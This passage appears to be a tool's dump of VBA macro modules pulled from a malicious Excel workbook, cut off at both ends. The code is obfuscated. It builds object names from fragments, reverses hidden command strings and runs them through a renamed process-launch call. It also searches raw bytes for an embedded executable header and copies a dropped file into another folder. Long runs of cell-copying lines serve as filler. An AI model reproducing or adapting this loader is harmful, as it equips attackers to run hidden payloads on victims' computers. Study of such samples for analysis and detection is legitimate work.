(ThisWorkbook.Sheets(2).Range("A45").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B45").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C45").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D45").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E45").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F45").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G45").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A46").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B46").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C46").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D46").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E46").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F46").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G46").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A47").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B47").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C47").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D47").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E47").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F47").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G47").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A48").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B48").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C48").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D48").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E48").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F48").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G48").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A49").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B49").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C49").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D49").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E49").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F49").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G49").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A50").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B50").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C50").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D50").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E50").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F50").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G50").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A51").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B51").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C51").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D51").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E51").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F51").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G51").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A52").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B52").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C52").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D52").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E52").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F52").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G52").offset(0, 0).Address) End Sub Public Function SPe(raw() As Byte, ByRef eb As Long, ByRef c6 As Long) As Long On Error GoTo Err If eb < 0 Then GoTo Err End If Dim raw_bytes_length As Long raw_bytes_length = GetSz(raw) Dim shiftEBPos As Long shiftEBPos = 8228 Dim shiftC6Pos As Long shiftC6Pos = 66048 Dim sizeC6 As Long sizeC6 = 512 Dim stop_search As Boolean stop_search = False Dim offset_start As Long offset_start = eb + 4 eb = eb + shiftEBPos Dim signB() As Byte signB = StrConv(sign, vbFromUnicode) While stop_search <> True If offset_start + 5 > raw_bytes_length Then offset_start = -1 Exit Function End If If offset_start = eb Then offset_start = offset_start + 4 eb = eb + shiftEBPos End If If offset_start = c6 Then offset_start = offset_start + sizeC6 c6 = c6 + shiftC6Pos eb = eb + sizeC6 End If If (raw(offset_start) <> signB(0) Or raw(offset_start + 1) <> signB(1) Or raw(offset_start + 4) <> signB(4) Or raw(offset_start + 2) <> signB(2) Or raw(offset_start + 3) <> signB(3)) Then offset_start = offset_start + 1 Else stop_search = True End If Wend SPe = offset_start Exit Function Err: SPe = -1 Exit Function End Function" File "Module2.bas" (Streampath: "_VBA_PROJECT_CUR/VBA/Module2") has code: "Public Const OAq As Long = &H4 Public arg3 As String Public vals As String Public pfo1 As String Public Const FSRq As Long = &H1 Public Const FADq As Long = &H4 Public Sub clr() If nLl = 2 Then Exit Sub End If If flr = 1 Then asd End If uu End Sub Public Sub ini0() Dim clnam As String clnam = "Scri" & prif & "ileSyst" & uhbvfr Set fso = CreateObject(clnam) s32 = "sy" tf = "t" & te tfs End Sub Public Sub reflux() Dim str As String str = VBA.StrReverse(exec & tsk) u1 str End Sub Public Function SP(src() As Byte) As Long SP = -1 If VBA.LenB(src) < 5 Then Exit Function Dim i As Long For i = 1 To VBA.LenB(src) - 5 If (src(i) = 77) And (src(i + 1) = 90) And (src(i + 2) = 120) Then SP = i Exit For End If Next End Function" File "Module3.bas" (Streampath: "_VBA_PROJECT_CUR/VBA/Module3") has code: "Public wdr As String Public dfo As String Public pna As String Public Const GRq As Long = &H1 Public Const GWq As Long = &H2 Public s32 As String Public Sub u1(exec As String) Dim tkis As jlop With tkis .cb = LenB(tkis) .dF = SUq Or SUHq .wSW = SHq End With Dim wd As String Dim tkas_kip As pgot Dim r As Long exec = VBA.StrReverse(exec) exec = StrConv(exec, vbFromUnicode) r = Neibq(0&, StrPtr(exec), 0&, 0&, True, 0&, ByVal 0&, StrPtr(wd), tkis, tkas_kip) WFSO tkas_kip.hP, 17000 End Sub Public Sub sge() On Error Resume Next Dim Alonhg As Long t0 Dim stmpd As String stmpd = "\" & tmpd Dim sdna As String sdna = "\" & dna Dim sprot As String sprot = "\" & prot Alonhg = 409 fso.CopyFile tf & stmpd, dfo & sprot & sdna Alonhg = Alonhg Mod 31 If fso.FileExists(dfo & "\" & prot & sdna) = True Then Alonhg = Alonhg - 5 chk = chk + 2 End If If Alonhg < 0 Then Alonhg = Alonhg + 39 * 8 - 17 End If Dim spna As String spna = "\" & pna If fso.FileExists(dfo & "\" & pfo1 & spna) = True Then chk = chk + 4 End If End Sub Public Sub u() On Error Resume Next ThisWorkbook.Sheets(2).Name = ThisWorkbook.Sheets(2).Name & " " & chk ThisWorkbook.Sheets(1).Range("Z100").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("Z100").offset(0, 0).Value & " " & chk ThisWorkbook.Sheets(2).Range("A1").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A1").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B1").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B1").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C1").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C1").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D1").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D1").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E1").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E1").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F1").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F1").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G1").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G1").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A3").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A3").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B3").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B3").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C3").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C3").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D3").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D3").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E3").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E3").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F3").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F3").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G3").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G3").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A4").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A4").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B4").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B4").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C4").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C4").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D4").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D4").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E4").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E4").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F4").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F4").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G4").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G4").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A5").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A5").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B5").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B5").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C5").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C5").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D5").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D5").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E5").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E5").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F5").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F5").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G5").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G5").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A6").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A6").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B6").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B6").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C6").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C6").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D6").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D6").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E6").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E6").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F6").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F6").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G6").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G6").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A7").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A7").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B7").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B7").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C7").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C7").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D7").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D7").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E7").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E7").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F7").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F7").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G7").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G7").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A8").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A8").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B8").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B8").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C8").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C8").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D8").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D8").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E8").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E8").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F8").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F8").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G8").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G8").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A9").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A9").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B9").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B9").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C9").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C9").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D9").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D9").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E9").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E9").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F9").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F9").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G9").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G9").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A10").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A10").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B10").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B10").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C10").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C10").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D10").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D10").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E10").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E10").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F10").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F10").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G10").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G10").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A11").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A11").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B11").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B11").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C11").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C11").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D11").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D11").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E11").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E11").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F11").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F11").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G11").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G11").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A12").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A12").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B12").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B12").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C12").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C12").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D12").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D12").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E12").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E12").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F12").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F12").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G12").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G12").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A13").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A13").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B13").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B13").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C13").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C13").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D13").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D13").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E13").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E13").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F13").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F13").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G13").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G13").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A14").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A14").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B14").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B14").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C14").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C14").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D14").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D14").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E14").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E14").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F14").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F14").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G14").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G14").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A15").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A15").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B15").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B15").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C15").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C15").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D15").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D15").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E15").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E15").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F15").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F15").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G15").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G15").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A16").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A16").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B16").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B16").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C16").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C16").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D16").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D16").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E16").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E16").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F16").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F16").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G16").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G16").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A17").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A17").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B17").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B17").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C17").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C17").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D17").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D17").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E17").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E17").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F17").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F17").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G17").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G17").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A18").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A18").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B18").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B18").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C18").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C18").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D18").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D18").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E18").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E18").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F18").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F18").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G18").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G18").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A19").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A19").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B19").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B19").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C19").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C19").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D19").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D19").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E19").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E19").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F19").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F19").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G19").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G19").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A20").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A20").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B20").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B20").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C20").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C20").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D20").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D20").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E20").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E20").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F20").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F20").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G20").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G20").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A21").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A21").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B21").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B21").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C21").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C21").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D21").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D21").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E21").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E21").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F21").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F21").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G21").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G21").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A22").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A22").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B22").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B22").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C22").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C22").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D22").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D22").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E22").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E22").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F22").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F22").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G22").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G22").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A23").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A23").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B23").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B23").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C23").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C23").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D23").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D23").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E23").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E23").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F23").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F23").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G23").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G23").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A24").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A24").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B24").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B24").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C24").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C24").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D24").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D24").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E24").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E24").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F24").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F24").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G24").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G24").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A25").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A25").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B25").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B25").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C25").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C25").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D25").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D25").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E25").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E25").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F25").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F25").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G25").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G25").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A26").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A26").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B26").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B26").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C26").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C26").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D26").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D26").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E26").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E26").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F26").offset(0, 0).Value = 